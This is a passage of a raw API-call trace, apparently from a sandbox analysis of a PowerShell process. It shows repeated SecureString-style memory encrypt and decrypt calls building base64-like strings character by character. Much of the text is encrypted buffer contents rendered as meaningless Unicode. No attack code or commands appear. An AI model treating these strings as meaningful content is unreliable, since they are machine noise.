(param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZ蘆") returned 0x28 [0242.083] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.083] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ봴\䃝㢚矒Û궝؈籆") returned 0x28 [0242.083] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ봴\䃝㢚矒Û궝؈籆") returned 0x28 [0242.083] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.083] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZG蘆") returned 0x28 [0242.083] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.083] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟᤴ\滙渀嵯鼜红胙꧙") returned 0x28 [0242.083] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟᤴ\滙渀嵯鼜红胙꧙") returned 0x28 [0242.083] SystemFunction041 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.083] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZGI") returned 0x28 [0242.083] SystemFunction040 (in: Memory=0x3717dc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3717dc) returned 0x0 [0242.084] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴∕) returned 0x28 [0242.084] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴∕) returned 0x28 [0242.084] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴∕) returned 0x28 [0242.084] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴∕) returned 0x30 [0242.084] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.084] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZGIQꢄ畻襋膌蛁蟟\⋘) returned 0x30 [0242.084] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴퀕\짙ꐅ酳횜赋氟髐") returned 0x30 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴퀕\짙ꐅ酳횜赋氟髐") returned 0x30 [0242.085] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZGIQ7畻襋膌蛁蟟\⋘) returned 0x30 [0242.085] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴ﰕ쒿㷒७ఐ⋼) returned 0x30 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴ﰕ쒿㷒७ఐ⋼) returned 0x30 [0242.085] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZGIQ7I襋膌蛁蟟\⋘) returned 0x30 [0242.085] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴╻波弲蚙茎췇柺∕) returned 0x30 [0242.085] SysStringLen (param_1="Ĉ뀥㵏䃐쭮둾ꥈ\䧝볆ꂄ殍\쏟后桮쳇幸\蓜婍쒱梱Ąㇼꐎ詠쫭ຟ꘴ᅈነ蔂挳븊갰㋴╻波弲蚙茎췇柺∕) returned 0x30 [0242.085] SystemFunction041 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.085] SysStringLen (param_1="Br4e0biXaILbQFMCuYi/ctmRYL8cw4pGGX43OZGIQ7I=膌蛁蟟\⋘) returned 0x30 [0242.086] SystemFunction040 (in: Memory=0x5c92f14, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92f14) returned 0x0 [0242.086] EtwEventActivityIdControl () returned 0x0 [0242.092] EtwEventActivityIdControl () returned 0x0 [0242.092] EtwEventActivityIdControl () returned 0x0 [0242.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.093] EtwEventActivityIdControl () returned 0x0 [0242.093] EtwEventActivityIdControl () returned 0x0 [0242.093] EtwEventActivityIdControl () returned 0x0 [0242.093] SysStringLen (param_1="") returned 0x8 [0242.093] SysStringLen (param_1="N") returned 0x8 [0242.093] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.094] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.094] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0242.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.094] SysStringLen (param_1="ND") returned 0x8 [0242.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.094] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.094] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0242.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.094] SysStringLen (param_1="NDZ") returned 0x8 [0242.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.094] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.094] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0242.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="NDZl") returned 0x8 [0242.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.095] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0242.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="NDZlO") returned 0x8 [0242.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.095] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0242.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="NDZlOD") returned 0x8 [0242.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.095] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.096] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0242.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.096] SysStringLen (param_1="NDZlODR") returned 0x8 [0242.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.096] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.096] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0242.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.096] SysStringLen (param_1="NDZlODRm") returned 0x8 [0242.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0242.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.096] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0242.097] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0242.097] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.097] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.097] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.097] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.097] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0242.097] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.097] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0242.097] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0242.098] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0242.098] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0242.098] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0242.098] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.098] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0242.098] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.098] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0242.099] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0242.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.099] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0242.099] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0242.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.099] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0242.099] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.099] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0242.099] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.100] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0242.100] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0242.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0242.100] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0242.100] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.100] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0242.100] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0242.101] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.101] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0242.101] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0242.101] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.101] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0242.101] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.101] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0242.102] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.102] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0242.102] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0242.102] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.102] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0242.102] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.102] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0242.102] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.102] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0242.102] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0242.103] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.103] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0242.103] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0242.103] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.103] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0242.103] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0242.103] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0242.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0242.104] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.104] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0242.104] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.104] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0242.104] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.104] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0242.104] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0242.105] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.105] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0242.105] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0242.105] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.105] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0242.105] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.105] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0242.105] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0242.106] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0242.106] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0242.106] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0242.106] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0242.106] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.106] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0242.106] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.107] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0242.107] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0242.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.107] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0242.107] SysStringLen 